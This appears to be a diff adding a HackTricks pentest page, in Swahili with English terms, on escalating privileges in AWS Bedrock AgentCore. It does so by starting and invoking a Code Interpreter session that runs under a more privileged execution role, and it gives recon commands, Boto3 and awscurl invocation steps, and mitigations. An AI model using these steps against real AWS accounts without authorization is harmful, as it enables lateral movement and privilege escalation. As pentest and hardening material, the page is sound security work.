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+# AWS - Bedrock PrivEsc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Amazon Bedrock AgentCore
+
+### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
+
+AgentCore Code Interpreter ni mazingira ya utekelezaji yaliyosimamiwa. **Custom Code Interpreters** zinaweza kusanidiwa na **`executionRoleArn`** inayotoa “ruhusa kwa Code Interpreter kufikia huduma za AWS”.
+
+Kama **lower-privileged IAM principal** anaweza **start + invoke** kikao cha Code Interpreter kilichosanidiwa na **more privileged execution role**, mwitoaji anaweza kwa ufanisi **pivot into the execution role’s permissions** (lateral movement / privilege escalation kulingana na wigo wa role).
+
+> [!NOTE]
+> Hii kwa kawaida ni tatizo la **misconfiguration / excessive permissions** (kutoa ruhusa nyingi kwa interpreter execution role na/au kutoa upatikanaji mpana wa invoke).
+> AWS kwa uwazi inaonya kuepuka privilege escalation kwa kuhakikisha execution roles zina **equal or fewer** privileges kuliko vitambulisho vinavyoruhusiwa kuinvoke.
+
+#### Masharti ya awali (common misconfiguration)
+
+- Kuna **custom code interpreter** iliyopo iliyo na **execution role** yenye ruhusa nyingi sana (ex: access to sensitive S3/Secrets/SSM or IAM-admin-like capabilities).
+- Mtumiaji (developer/auditor/CI identity) ana ruhusa za:
+- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
+- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Optional) Mtumiaji pia anaweza kuunda interpreters: `bedrock-agentcore:CreateCodeInterpreter` (inawaruhusu kuunda interpreter mpya iliyosanidiwa na execution role, kulingana na org guardrails).
+
+#### Recon (identify custom interpreters and execution role usage)
+
+Orodhesha interpreters (control-plane) na angalia usanidi wao:
+```bash
+aws bedrock-agentcore-control list-code-interpreters
+aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
+````
+> Amri create-code-interpreter inasaidia `--execution-role-arn` ambayo huainisha ruhusa za AWS ambazo interpreter atakuwa nazo.
+
+#### Hatua 1 - Anzisha sesi (hii inarudisha `sessionId`, si interactive shell)
+```bash
+SESSION_ID=$(
+aws bedrock-agentcore start-code-interpreter-session \
+--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
+--name "arte-oussama" \
+--query sessionId \
+--output text
+)
+
+echo "SessionId: $SESSION_ID"
+```
+#### Hatua ya 2 - Kusababisha utekelezaji wa msimbo (Boto3 au HTTPS iliyosainiwa)
+
+Hakuna **interactive python shell** kutoka `start-code-interpreter-session`. Utekelezaji hufanyika kupitia **InvokeCodeInterpreter**.
+
+**Chaguo A - Mfano wa Boto3 (tekeleza Python + thibitisha utambulisho):**
+```python
+import boto3
+
+client = boto3.client("bedrock-agentcore", region_name="<REGION>")
+
+# Execute python inside the Code Interpreter session
+resp = client.invoke_code_interpreter(
+codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
+sessionId="<SESSION_ID>",
+name="executeCode",
+arguments={
+"language": "python",
+"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
+}
+)
+
+# Response is streamed; print events for visibility
+for event in resp.get("stream", []):
+print(event)
+```
+Ikiwa interpreter imewekwa na execution role, matokeo ya `sts:GetCallerIdentity()` yanapaswa kuonyesha utambulisho wa role hiyo (si low-priv caller), ikithibitisha pivot.
+
+**Chaguo B - ombi la HTTPS lililosainiwa (awscurl):**
+```bash
+awscurl -X POST \
+"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
+--service bedrock-agentcore \
+--region <Region> \
+-d '{
+"name": "executeCode",
+"arguments": {
+"language": "python",
+"code": "print(\"Hello from AgentCore\")"
+}
+}'
+```
+#### Madhara
+
+* **Lateral movement** ndani ya upatikanaji wowote wa AWS ambao interpreter execution role ina.
+* **Privilege escalation** ikiwa interpreter execution role ina ruhusa zaidi kuliko caller.
+* Ugunduzi ni mgumu zaidi ikiwa CloudTrail data events kwa interpreter invocations hazijawezeshwa (invocations huenda zisihifadhiwe kwa kumbukumbu kwa chaguo-msingi, kulingana na usanidi).
+
+#### Kupunguza hatari / Kuimarisha usalama
+
+* **Least privilege** kwa interpreter `executionRoleArn` (itunzwe kama Lambda execution roles / CI roles).
+* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) na nani anaweza kuanza vikao.
+* Tumia **SCPs** kuzuia InvokeCodeInterpreter isipokuwa kwa agent runtime roles zilizothibitishwa (inaweza kuhitajika utekelezaji ngazi ya shirika).
+* Washa **CloudTrail data events** zinazofaa kwa AgentCore pale inapofaa; tuma onyo kwa invocations zisizotarajiwa na uundaji wa vikao.
+
+## Marejeleo
+
+- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
+- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
+- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
+- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
+- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
+- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}